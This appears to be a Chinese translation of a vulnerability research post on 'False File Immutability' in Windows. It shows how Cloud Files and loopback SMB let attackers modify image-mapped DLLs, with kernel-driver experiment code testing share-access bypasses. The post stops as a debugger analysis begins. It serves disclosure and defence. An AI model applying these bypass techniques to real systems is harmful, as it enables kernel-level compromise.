Gabriel Landau

永恒不变的幻象用云文件攻克内核

威胁行为者可以滥用一类漏洞,绕过安全限制,打破信任链。

阅读时间:15 分钟内部
永恒不变的幻象用云文件攻克内核

2024 年,我们披露了一个新的 Windows 漏洞类别--虚假文件不变性(FFI),该漏洞之前展示了如何利用网络重定向器违反 Windows 代码完整性设计中的不正确假设,从而导致一对内核漏洞。这些漏洞利用依赖于 Windows 网络驱动器,增加了复杂性,并在杀毒链中制造了一个阻塞点,使检测和缓解变得更加容易。

这项研究引入了一种更精简、更自成一体的开发方法,是一项进步。这种新颖的方法利用 Windows 的内置功能实现了相同的文件修改旁路,而无需复杂的 SMB 设置。通过分析该功能的内核驱动程序如何处理文件数据,我们发现了一个安全旁路,使攻击者能够修改 Windows 错误地假定为不可更改的文件,从而导致概念验证型内核漏洞。

关键要点:

  • 无需网络重定向器:与之前的漏洞利用方法不同,新的漏洞利用方法无需使用 Windows 文件共享即可利用虚假文件不变性。
  • 被利用的内置功能:该漏洞利用了处理云文件同步的 Windows 内置功能中的一个安全旁路。
  • 违反不可更改性:它可以修改 Windows 内核和内存管理器错误地假定为不可更改的文件,从而导致内核漏洞。
  • 绕过缓解措施:它使攻击者能够绕过微软专门针对先前的 FFI 漏洞利用而创建的缓解措施。
  • Forever-Day:微软选择只在某些版本的 Windows 中修补此漏洞,因此截至 2026 年 2 月,此漏洞仍可在主流支持的几个已打补丁的 Windows 版本上使用。

虚假文件不变性

您可能还记得我们最近的文章BlueHat IL 2024 讲座中的 "虚假文件不可变性",如果不记得,本节将帮助您重温记忆。如果您已经很熟悉,可以跳到下一部分。

应用程序在 Windows 上打开文件时,通常会使用某种形式的 Win32CreateFileAPI。

HANDLE CreateFileW(
  [in]           LPCWSTR               lpFileName,
  [in]           DWORD                 dwDesiredAccess,
  [in]           DWORD                 dwShareMode,
  [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  [in]           DWORD                 dwCreationDisposition,
  [in]           DWORD                 dwFlagsAndAttributes,
  [in, optional] HANDLE                hTemplateFile
);

CreateFile 的调用者在dwDesiredAccess 中指定他们想要的访问权限。例如,调用者可以通过FILE_READ_DATA 读取数据,或通过FILE_WRITE_DATA 写入数据。微软学习网站上记录了全套访问权限。

除了传递dwDesiredAccess 外,调用者还必须传递dwShareMode 中的 "共享模式",该模式由FILE_SHARE_READFILE_SHARE_WRITEFILE_SHARE_DELETE 中的零个或多个组成。你可以把共享模式看作是调用者声明 "我同意其他人在我使用这个文件时对它进行 X 操作",这里的 X 可以是读取、写入或重命名。例如,通过FILE_SHARE_WRITE 的调用者允许其他人在处理文件时写入文件。

打开文件时,调用者的dwDesiredAccess 会与所有现有文件句柄的dwShareMode 进行测试。与此同时,调用者的dwShareMode 会与该文件所有现有句柄的dwDesiredAccess 进行测试。如果上述任一测试失败,则 CreateFile 将因共享违规而失败。

分享不是强制性的。调用者可以通过 0 的共享模式来获得独占访问权。根据 Microsoft文档

未共享的打开文件(dwShareMode 设置为零)在其句柄关闭之前,无论是打开文件的应用程序还是其他应用程序都无法再次打开。这也被称为独家使用权。

共享由文件系统执行,通常是 NTFS,但 Windows 也支持 FAT32 等其他文件系统。在打开某些类型的文件时,Windows 本身会省略FILE_SHARE_WRITE ,以防止在使用这些文件时对其进行修改。这种不可修改的文件可被视为不可变文件。

在某些情况下,内存管理器依赖于这种不变性。如果页面故障发生在不可变的内存映射文件中,且该页面未被修改,那么内存管理器可以直接从原始支持文件中读取该页面的内容。它不需要将文件内容的第二个副本保存到分页文件中,因为不变性可确保磁盘上的文件不会被更改。在内存中运行的可执行文件(如 EXE 和 DLL)是不可变的,因此内存管理器可以对它们应用这种优化。

网络重定向器允许在任何接受文件路径的应用程序接口中使用网络路径。这非常方便,允许用户和应用程序在网络驱动器上轻松处理文件和运行程序。内核会以透明方式将任何 I/O 重定向到远程机器。如果程序是从网络驱动器启动的,那么任何 EXE 及其 DLL 都将根据需要从网络中透明地提取。

使用网络重定向器时,管道另一端的服务器不必是 Windows 机器。它可以是一台运行 Samba 的 Linux 机器,甚至是一个会 "说" SMB 网络协议 Python Impacket 脚本 。这意味着服务器不必遵守 Windows 文件系统共享语义。攻击者可利用网络重定向器在服务器端修改 "不可变 "文件,从而绕过共享限制。这意味着这些文件被错误地假定为不可变的。这是一种我们称之为虚假文件不变性(FFI)的漏洞类别。

云文件

想象一下,当你出门开始一天的工作时,你的台阶上有一个包裹。这就是你上周订购的 Surface Book。你兴奋不已,但时间紧迫,于是把它扔进包里,前往健身房。用 Zune 听着节奏感极强的音乐锻炼完身体后,你会去雷德蒙德当地的咖啡店与 Xbox Live 上认识的朋友见面。不幸的是,他们要迟到了,所以你打开全新的 Surface Book,登录 Windows,迫不及待地设置 Recall。尽管咖啡馆的 Wi-Fi 信号很一般,但不知何故,你的整个 1TB OneDrive 立即出现在你面前。你不可能这么快就下载了 1TB 的文件,一定是有什么巫术在作祟。这种巫术就是云文件

云文件在 Windows 10 1709 版本中引入,使 OneDrive 等用户模式应用程序能够注册为云同步提供程序,并在系统中创建空的 "占位符 "文件。最初,这些占位符是脱水的(空的)。当您访问它们时,I/O 会被 CloudFiles 内核驱动程序 (cldflt.sys) 拦截,该驱动程序会调用提供商的进程。然后,提供商可从云中检索文件内容。它不需要一次性下载整个文件。如果您只需要 1MB,它就能检索到这 1MB。当您需要更多文件时,它可以根据需要继续补水(填充)文件内容。

当驱动程序需要为文件补水时,它会调用提供程序进程中的补水回调(即OneDrive.exe).回调会检索文件内容(可能来自云),并调用CfExecute 将这些内容提供给驱动程序,然后由驱动程序写入文件。CloudFiles 只要求对当前未水合的文件区域进行水合,但也有可能使文件脱水,以释放当前系统的空间。

漏洞开发

默认情况下,Windows 允许使用服务器消息块 (SMB) 协议在网络上共享文件和文件夹。如果你曾经连接过公司网络上的共享网络硬盘,那么它很有可能使用的是 SMB。Windows 默认包含 SMB 客户端和服务器。如上所述,客户端组件提供了一个网络重定向器,可通过任何接受文件路径的 API 以透明的 SMB 方式访问文件。例如,您现在就可以通过互联网运行进程监视器,方法是运行\\live.sysinternals.com\Procmon.exe

我们于 5 月发布了PPLFault 漏洞利用程序 2023 ,同时还发表了黑帽亚洲演讲。PPLFault 利用网络重定向器来利用加载到受保护进程光(PPL)进程中的 DLL 中的 FFI。最初的原型需要第二台由攻击者控制的机器运行恶意 SMB 服务器。通过禁用 Windows 内置的 SMB 服务器,我们能够将恶意 SMB 服务器转移到本地计算机上,从而不再需要第二台计算机(原型)。

不过,这仍然比我们希望的要麻烦,因为当时我们错误地认为,停止 Windows 内置 SMB 服务器需要重新启动。幸运的是,我们发现了 James Forshaw将 CloudFiles 提供商与环回(localhost)SMB 适配器相结合的技术,从而创建了最终的免重启漏洞。除了精简之外,CloudFiles/SMB 配对还与前两个漏洞版本不同,它使用的是常规 Windows SMB 服务器,该服务器应支持文件共享(即:"...FILE_SHARE_*) 语义。例如,当一个 SMB 客户端在服务器上打开一个文件,而没有FILE_SHARE_WRITE 时,服务器不应该允许另一个客户端打开该文件进行写访问。同样,服务器也不应允许对服务器上本地运行的任何可执行文件进行写访问。

我们似乎有一个矛盾。如果 PPLFault 必须遵守文件共享限制,那么它是如何向运行中的 DLL 注入代码的呢?让我们看看进程监视器能告诉我们什么。在进程监视器下运行 PPLFault 会显示以下三个操作(为说明起见已过滤)。本分析是使用cldflt.sys 10.0.22621.2861 版本在 Windows 11 22631.2861 上进行的。

这些操作依次是

  1. 受害进程services.exe 将 DLL 作为可执行映像加载。
  2. 加载后,PPLFault.exe 打开。
  3. 打开后,PPLFault.exe

这里有几条重要意见:

违反不变性
我们看到,在文件作为可执行映像加载时,对文件的写入操作取得了成功。在早前的 FFI 研究中,我们讨论了文件系统中的MmFlushImageSection 检查,它就是为了防止这种情况而设计的。它是如何绕过检查的?

违反文件访问模式
我们可以看到,PPLFault 成功覆盖了文件。WriteFile 的 Microsoft 文档指出,文件应该是以写访问方式打开的,即 FILE_WRITE_DATA,但输出结果显示是以 "读取属性、写入属性、同步 "方式打开的,即FILE_READ_ATTRIBUTESFILE_WRITE_ATTRIBUTESSYNCHRONIZE在没有FILE_WRITE_DATA 的情况下,它是如何覆盖该文件的?

让我们在下一节尝试回答这两个问题。

📘 书呆子奖励 -

进程监控器安装了一个文件系统微型过滤器驱动程序,用于拦截和记录系统上的 I/O 活动。Windows 将 I/O 操作封装在称为I/O 请求包(IRP)的结构中。每个微型过滤器都一个 "高度",可以把它想象成大楼的楼层。大多数 IRP 都从顶层开始,沿着堆栈向下运行。如果微型过滤器自行发布 I/O,则该 IRP 从其高度开始,然后向下延伸。换句话说,六楼的微型过滤器永远不会看到来自五楼的 I/O。进程监视器的微型过滤器驱动程序运行高度为385200 。正常情况下,它永远不会看到cldflt.sys 的活动,因为它在180451 的高度运行。幸运的是,我们可以通过/高度开关调整进程监控器的高度,将其置于 CloudFiles 的下方,高度为180450

你有你的规则,我没有我的规则

如前所述,应用程序受到文件共享限制,但内核本身并不总是受到同样的限制。例如,内核驱动程序可以使用IoCreateFileEx打开或创建文件。

NTSTATUS IoCreateFileEx(
  [out]          PHANDLE                   FileHandle,
  [in]           ACCESS_MASK               DesiredAccess,
  [in]           POBJECT_ATTRIBUTES        ObjectAttributes,
  [out]          PIO_STATUS_BLOCK          IoStatusBlock,
  [in, optional] PLARGE_INTEGER            AllocationSize,
  [in]           ULONG                     FileAttributes,
  [in]           ULONG                     ShareAccess,
  [in]           ULONG                     Disposition,
  [in]           ULONG                     CreateOptions,
  [in, optional] PVOID                     EaBuffer,
  [in]           ULONG                     EaLength,
  [in]           CREATE_FILE_TYPE          CreateFileType,
  [in, optional] PVOID                     InternalParameters,
  [in]           ULONG                     Options,
  [in, optional] PIO_DRIVER_CREATE_CONTEXT DriverContext
);

IoCreateFileEx 看起来与面向用户的函数NtCreateFile 非常相似,但其文档介绍了一些重要的附加功能,包括支持标志的Options 参数:

忽略共享访问检查
I/O 管理器不应在文件对象创建后对其执行共享访问检查。不过,文件系统仍可能执行这些检查。

就这么简单吗?内核驱动程序能否使用IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) 打开正在使用的 DLL 以进行写访问?让我们编写一个内核驱动程序来试试。本文中的代码作为 Visual Studio 项目在 GitHub 上提供,请点击此处

/*
* This experiment shows that a file opened without FILE_SHARE_WRITE 
* can't be modified unless IO_IGNORE_SHARE_ACCESS_CHECK is used.
*/
VOID ExperimentOne()
{
    DECLARE_CONST_UNICODE_STRING(filePath, L"\\??\\C:\\TestFile.bin");

    NTSTATUS ntStatus = STATUS_SUCCESS;
    HANDLE hFile = NULL;
    HANDLE hFile2 = NULL;
    OBJECT_ATTRIBUTES objAttr{};
    IO_STATUS_BLOCK iosb{};
    BOOLEAN bSuccessful = FALSE;
    BOOLEAN bReportResults = FALSE;

    InitializeObjectAttributes(&objAttr, (PUNICODE_STRING)&filePath, 
        OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);

    // Create a file without FILE_SHARE_WRITE
    // This mimics ntdll!LdrpMapDllNtFileName
    ntStatus = ZwCreateFile(
        &hFile,
        FILE_READ_DATA | FILE_EXECUTE | SYNCHRONIZE,
        &objAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL,
        FILE_SHARE_READ | FILE_SHARE_DELETE,
        FILE_OPEN_IF,
        FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE,
        NULL, 0);
    if (!NT_SUCCESS(ntStatus))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, 
            "ExperimentOne: ZwCreateFile %wZ failed with NTSTATUS 0x%08x\n", 
            &filePath, ntStatus);
        goto Cleanup;
    }

    bReportResults = TRUE;

    // IoCreateFileEx without IO_IGNORE_SHARE_ACCESS_CHECK should not be able to open the file
    ntStatus = IoCreateFileEx(
        &hFile2,
        FILE_WRITE_DATA | SYNCHRONIZE,
        &objAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        FILE_OPEN,
        FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE,
        NULL, 0, CreateFileTypeNone, NULL,
        0,
        NULL);
    if (NT_SUCCESS(ntStatus))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            "ExperimentOne: IoCreateFileEx(FILE_WRITE_DATA) unexpectedly "
            "succeeded on a write-sharing-denied file\n");
        ntStatus = STATUS_UNSUCCESSFUL;
        goto Cleanup;
    }

    // Can IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) open a 
    // write-sharing-denied file for write access?
    ntStatus = IoCreateFileEx(
        &hFile2,
        FILE_WRITE_DATA | SYNCHRONIZE,
        &objAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        FILE_OPEN,
        FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE,
        NULL, 0, CreateFileTypeNone, NULL,
        IO_IGNORE_SHARE_ACCESS_CHECK,
        NULL);
    bSuccessful = NT_SUCCESS(ntStatus);

Cleanup:
    if (bReportResults)
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            "ExperimentOne complete. "
            "IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) %s open a "
            "write-sharing-denied file for FILE_WRITE_DATA. "
            "Status: 0x%08x\n",
            bSuccessful ? "CAN" : "CANNOT",
            ntStatus);
    }

    HandleDelete(hFile);
    HandleDelete(hFile2);
}

在启用测试签名的虚拟机中加载它,会得到以下输出结果:

ExperimentOne complete. IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) CAN open a write-sharing-denied file for FILE_WRITE_DATA. Status: 0x00000000

我们刚才是否对 PPLFault 如何修改 "不可变 "文件做出了合理的解释?不完全是。这个实验有点过于简单化,但它展示了IO_IGNORE_SHARE_ACCESS_CHECK 的作用,证明内核 API 比用户模式的对应程序可以提供更多的自由。

在 PPLFault 中,CloudFiles 不仅仅是用拒绝写共享的句柄修改文件。相反,它是在 DLL 作为可执行映像映射到内存时对其进行修改。让我们尝试另一个更接近 PPLFault 场景的实验。在实验二中,我们将模拟 LoadLibrary打开一个 DLL,创建SEC_IMAGE 部分,然后将该部分的视图映射到内存中。视图映射完成后,我们将关闭句柄,并测试IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) 能否获得可写句柄。

让我们从将 PE 映射为图像部分的辅助函数开始,类似于LoadLibrary 。我们将在内核中执行此操作,以便在单个驱动程序中进行实验,但请注意,就我们的目的而言,它在功能上等同于LoadLibrary

// Emulate a portion of LoadLibrary
NTSTATUS MapFileAsImageSection(
    PCUNICODE_STRING pPath,
    HANDLE* phFile,
    HANDLE* phSection,
    PVOID* ppMappedBase
)
{
    NTSTATUS ntStatus = STATUS_SUCCESS;
    HANDLE hFile = NULL;
    HANDLE hSection = NULL;
    PVOID pMappedBase = NULL;
    SIZE_T viewSize = 0;
    OBJECT_ATTRIBUTES objAttr{};
    IO_STATUS_BLOCK iosb{};

    InitializeObjectAttributes(&objAttr, (PUNICODE_STRING)pPath,
        OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);

    // From ntdll!LdrpMapDllNtFileName
    // NtOpenFile(&FileHandle, 0x100021u, &ObjectAttributes, &IoStatusBlock, 5u, 0x60u);
    ntStatus = ZwOpenFile(
        &hFile,
        FILE_READ_DATA | FILE_EXECUTE | SYNCHRONIZE,
        &objAttr, &iosb,
        FILE_SHARE_READ | FILE_SHARE_DELETE,
        FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE);
    if (!NT_SUCCESS(ntStatus))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            "MapFileAsImageSection: ZwCreateFile %wZ failed with NTSTATUS 0x%08x\n",
            pPath, ntStatus);
        goto Cleanup;
    }

    InitializeObjectAttributes(&objAttr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);

    // From ntdll!LdrpMapDllNtFileName
    // NtCreateSection(&Handle, 0xDu, 0LL, 0LL, 0x10u, v18, FileHandle);
    ntStatus = ZwCreateSection(&hSection,
        SECTION_QUERY | SECTION_MAP_READ | SECTION_MAP_EXECUTE,
        &objAttr, NULL, PAGE_EXECUTE, SEC_IMAGE, hFile
    );
    if (!NT_SUCCESS(ntStatus))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            "MapFileAsImageSection: ZwCreateSection %wZ failed with NTSTATUS 0x%08x\n",
            pPath, ntStatus);
        goto Cleanup;
    }

    // From ntdll!LdrpMinimalMapModule
    // Map a view of this SEC_IMAGE section into lower half of the the System process address space
    ntStatus = ZwMapViewOfSection(
        hSection, ZwCurrentProcess(), &pMappedBase, 0, 0, NULL,
        &viewSize, ViewShare, 0, PAGE_EXECUTE_WRITECOPY);
    if (!NT_SUCCESS(ntStatus))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            "MapFileAsImageSection: ZwMapViewOfSection %wZ failed with NTSTATUS 0x%08x\n",
            pPath, ntStatus);
        goto Cleanup;
    }

    // Move ownership to output parameters and prevent cleanup
    *ppMappedBase = pMappedBase;
    pMappedBase = NULL;

    *phFile = hFile;
    hFile = NULL;

    *phSection = hSection;
    hSection = NULL;

Cleanup:
    HandleDelete(hFile);
    HandleDelete(hSection);
    if (pMappedBase)
    {
        NTSTATUS unmapStatus = ZwUnmapViewOfSection(ZwCurrentProcess(), pMappedBase);
        NT_ASSERT(NT_SUCCESS(unmapStatus));
    }

    return ntStatus;
}

现在,让我们使用该辅助程序来映射一个 DLL,然后看看能否用IO_IGNORE_SHARE_ACCESS_CHECK 写入该 DLL:

/*
* This experiment shows that a file opened without FILE_SHARE_WRITE can't be 
* modified even if IO_IGNORE_SHARE_ACCESS_CHECK is used because the file has 
* an associated active SEC_IMAGE section.
*/
VOID ExperimentTwo()
{
    DECLARE_CONST_UNICODE_STRING(filePath, L"\\SystemRoot\\System32\\TestDll.dll");

    NTSTATUS ntStatus = STATUS_SUCCESS;
    HANDLE hFile = NULL;
    HANDLE hSection = NULL;
    HANDLE hFile2 = NULL;
    OBJECT_ATTRIBUTES fileObjAttr{};
    OBJECT_ATTRIBUTES sectionObjAttr{};
    IO_STATUS_BLOCK iosb{};
    BOOLEAN bSuccessful = FALSE;
    BOOLEAN bReportResults = FALSE;
    PVOID pMappedBase = NULL;
    PFILE_OBJECT pFileObject = NULL;

    ntStatus = MapFileAsImageSection(
        &filePath, &hFile, &hSection, &pMappedBase);
    if (!NT_SUCCESS(ntStatus))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            "ExperimentThree: MapFileAsImageSection %wZ failed with NTSTATUS 0x%08x\n",
            &filePath, ntStatus);
        goto Cleanup;
    }

    // MmFlushImageSection should return FALSE. This is what fails the FILE_WRITE_DATA request below.
    // MmFlushImageSection requires SECTION_OBJECT_POINTERS, which we can get from the FILE_OBJECT.
    ntStatus = ObReferenceObjectByHandle(hFile, 0, *IoFileObjectType, KernelMode, (PVOID*)&pFileObject, NULL);
    if (!NT_SUCCESS(ntStatus))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            "ExperimentThree: ObReferenceObjectByHandle %wZ failed with NTSTATUS 0x%08x\n",
            &filePath, ntStatus);
        goto Cleanup;
    }

    if (MmFlushImageSection(pFileObject->SectionObjectPointer, MmFlushForWrite))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            "ExperimentThree: MmFlushImageSection unexpectedly succeeded %wZ\n",
            &filePath);
        goto Cleanup;
    }

    // Now that a view of the SEC_IMAGE mapping exists, close the file and section handles to remove them from the equation
    // We're trying to test whether IO_IGNORE_SHARE_ACCESS_CHECK can bypass the MmFlushImageSection check here:
    // https://github.com/Microsoft/Windows-driver-samples/blob/622212c3fff587f23f6490a9da939fb85968f651/filesys/fastfat/create.c#L3572-L3593
    ReferenceDelete(pFileObject);
    HandleDelete(hFile);
    HandleDelete(hSection);

    InitializeObjectAttributes(&fileObjAttr, (PUNICODE_STRING)&filePath, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);

    // Can IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) open a file mapped as SEC_IMAGE for write access?
    ntStatus = IoCreateFileEx(
        &hFile2,
        FILE_WRITE_DATA | SYNCHRONIZE,
        &fileObjAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        FILE_OPEN,
        FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE,
        NULL, 0, CreateFileTypeNone, NULL,
        IO_IGNORE_SHARE_ACCESS_CHECK,
        NULL);

    bSuccessful = NT_SUCCESS(ntStatus);
    bReportResults = TRUE;

Cleanup:
    if (bReportResults)
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            "ExperimentTwo complete. "
            "IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) %s open a "
            "file backing a local SEC_IMAGE section for FILE_WRITE_DATA. "
            "Status: 0x%08x\n",
            bSuccessful ? "CAN" : "CANNOT",
            ntStatus);
    }

    HandleDelete(hFile);
    HandleDelete(hSection);
    HandleDelete(hFile2);
    ReferenceDelete(pFileObject);
    if (pMappedBase)
    {
        NTSTATUS unmapStatus = ZwUnmapViewOfSection(ZwCurrentProcess(), pMappedBase);
        NT_ASSERT(NT_SUCCESS(unmapStatus));
    }
}

运行该实验的输出结果如下:

ExperimentTwo complete. IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) CANNOT open a file backing a local SEC_IMAGE section for FILE_WRITE_DATA. Status: 0xc0000043

在这种情况下,IoCreateFileEx 失败的原因是0xC0000043 (STATUS_SHARING_VIOLATION),因为映射为可执行映像的文件有额外的保护措施,以确保它们保持不变,即使没有任何打开的句柄。您可以在Microsoft FastFat 示例驱动程序代码中使用MmFlushImageSection API 查看这种检查,但它也存在于其他文件系统中,包括 NTFS:

//
//  If the user wants write access access to the file make sure there
//  is not a process mapping this file as an image.  [ ... ]
//
if (FlagOn(*DesiredAccess, FILE_WRITE_DATA) || DeleteOnClose) {

    [ ... ] 
    
    if (!MmFlushImageSection( &Fcb->NonPaged->SectionObjectPointers,
                              MmFlushForWrite )) {

        Iosb.Status = DeleteOnClose ? STATUS_CANNOT_DELETE :
                                      STATUS_SHARING_VIOLATION;
        try_return( Iosb );
    }
}

IO_IGNORE_SHARE_ACCESS_CHECK 标志可绕过 I/O 管理器检查,但不能绕过文件系统中的MmFlushImageSection 检查。重读IO_IGNORE_SHARE_ACCESS_CHECK 的描述,事后才发现这一点是显而易见的:

忽略共享访问检查
I/O 管理器不应在文件对象创建后对其执行共享访问检查。不过,文件系统仍可能执行这些检查。

ExperimentTwo 并不能完全公平地反映 PPLFault,因为它是从网络驱动器加载 DLL 的。当网络客户端打开服务器上的文件时,SMB 客户端驱动程序会分配一个代表该逻辑文件的文件控制块(FCB)结构。相应地,服务器使用请求的共享模式打开文件,并分配自己的 FCB。这意味着有两种不同语义的 FCB 在起作用。当客户端将 DLL 作为可执行文件映射到内存中时,所产生的SEC_IMAGE 文件映射(又称段)与其 FCB 相关联,从而获得MmFlushImageSection 的保护。服务器不会相应地创建图像部分,因此其 FCB 不会获得此类保护。PPLFault 利用这一差异,绕过MmFlushImageSection 检查,向服务器的 FCB 执行写入操作。

让我们在实验三中试试看:

/*
* This experiment shows that a file loaded as a DLL by an SMB client can't be modified
* server-side unless IO_IGNORE_SHARE_ACCESS_CHECK is used.
*/
VOID ExperimentThree()
{
    DECLARE_CONST_UNICODE_STRING(filePathLocal, 
        L"\\SystemRoot\\System32\\TestDll.dll");
    DECLARE_CONST_UNICODE_STRING(filePathSMB, 
        L"\\Device\\Mup\\127.0.0.1\\c$\\Windows\\System32\\TestDll.dll");

    NTSTATUS ntStatus = STATUS_SUCCESS;
    HANDLE hFile = NULL;
    HANDLE hSection = NULL;
    HANDLE hFile2 = NULL;
    OBJECT_ATTRIBUTES fileObjAttr{};
    OBJECT_ATTRIBUTES sectionObjAttr{};
    IO_STATUS_BLOCK iosb{};
    BOOLEAN bSuccessful = FALSE;
    BOOLEAN bReportResults = FALSE;
    PVOID pMappedBase = NULL;

    ntStatus = MapFileAsImageSection(
        &filePathSMB, &hFile, &hSection, &pMappedBase);
    if (!NT_SUCCESS(ntStatus))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            "ExperimentThree: MapFileAsImageSection %wZ failed with NTSTATUS 0x%08x\n",
            &filePathSMB, ntStatus);
        goto Cleanup;
    }

    // Now that a view of the SEC_IMAGE mapping exists, 
    // close the file and section handles to remove them from the equation.
    // We're trying to test whether IO_IGNORE_SHARE_ACCESS_CHECK can bypass the 
    // MmFlushImageSection check here:
    // https://github.com/Microsoft/Windows-driver-samples/blob/622212c3fff587f23f6490a9da939fb85968f651/filesys/fastfat/create.c#L3572-L3593
    HandleDelete(hFile);
    HandleDelete(hSection);

    InitializeObjectAttributes(&fileObjAttr, 
        (PUNICODE_STRING)&filePathLocal, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);

    bReportResults = TRUE;

    // Can IoCreateFileEx() open a file mapped as SEC_IMAGE for write access?
    ntStatus = IoCreateFileEx(
        &hFile2,
        FILE_WRITE_DATA | SYNCHRONIZE,
        &fileObjAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        FILE_OPEN,
        FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE,
        NULL, 0, CreateFileTypeNone, NULL,
        0,
        NULL);
    if (NT_SUCCESS(ntStatus))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            "ExperimentThree: IoCreateFileEx(FILE_WRITE_DATA) unexpectedly succeeded "
            "on a file mapped as SEC_IMAGE remotely by an SMB client\n");
        ntStatus = STATUS_UNSUCCESSFUL;
        goto Cleanup;
    }

    // Can IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) open
    // a file mapped as SEC_IMAGE for write access?
    ntStatus = IoCreateFileEx(
        &hFile2,
        FILE_WRITE_DATA | SYNCHRONIZE,
        &fileObjAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        FILE_OPEN,
        FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE,
        NULL, 0, CreateFileTypeNone, NULL,
        IO_IGNORE_SHARE_ACCESS_CHECK,
        NULL);

    bSuccessful = NT_SUCCESS(ntStatus);
    bReportResults = TRUE;

Cleanup:
    if (bReportResults)
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            "ExperimentThree complete. "
            "IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) %s open a "
            "file backing a remote SEC_IMAGE view for FILE_WRITE_DATA. "
            "Status: 0x%08x\n",
            bSuccessful ? "CAN" : "CANNOT",
            ntStatus);
    }

    HandleDelete(hFile);
    HandleDelete(hSection);
    HandleDelete(hFile2);
    if (pMappedBase)
    {
        NTSTATUS unmapStatus = ZwUnmapViewOfSection(ZwCurrentProcess(), pMappedBase);
        NT_ASSERT(NT_SUCCESS(unmapStatus));
    }
}

实验三的输出结果如下:

ExperimentThree complete. IoCreateFileEx(IO_IGNORE_SHARE_ACCESS_CHECK) CAN open a file backing a remote SEC_IMAGE view for FILE_WRITE_DATA. Status: 0x00000000

上述实验三展示了内核驱动程序如何通过使用服务器版本文件上的IO_IGNORE_SHARE_ACCESS_CHECK 标志来修改 SMB 客户端映射的 DLL。

卷起袖子

我们刚刚展示了可能的情况,但我们仍然不知道云文件到底在做什么。让我们深入研究进程监控器的输出结果,回答前面提出的问题。

刚才,我们提出了两个问题:

违反不变性
我们看到,在文件作为可执行映像加载时,对文件的写入操作取得了成功。在早前的 FFI 研究中,我们讨论了文件系统中的MmFlushImageSection 检查,它就是为了防止这种情况而设计的。它是如何绕过检查的?

违反文件访问模式
我们可以看到,PPLFault 成功覆盖了文件。WriteFile 的 Microsoft 文档指出,文件应该是以写访问方式打开的,即 FILE_WRITE_DATA,但输出结果显示是以 "读取属性、写入属性、同步 "方式打开的,即FILE_READ_ATTRIBUTESFILE_WRITE_ATTRIBUTESSYNCHRONIZE在没有FILE_WRITE_DATA 的情况下,它是如何覆盖该文件的?

我们可以很容易地解释MmFlushImageSection 旁路。该检查可查找 FILE_WRITE_DATA ,这里没有使用。文件只打开了 "读取属性、写入属性、同步"。但是,我们无法解释文件访问模式的违规行为。它是如何覆盖不可写文件的?让我们放大WriteFile 操作的调用堆栈,试着找出答案。

在调用栈中,我们可以看到 PPLFault.cpp 的 176 行从用户模式调用 cldapi.dll!CfExecute(第 24-25 行)。这最终导致cldflt.sys!HsmiRecallWriteFileNoLock 调用 FltWriteFileEx.FltWriteFileEx 会以某种方式写入一个未开放写访问的文件。让我们连接内核调试器,仔细看看。

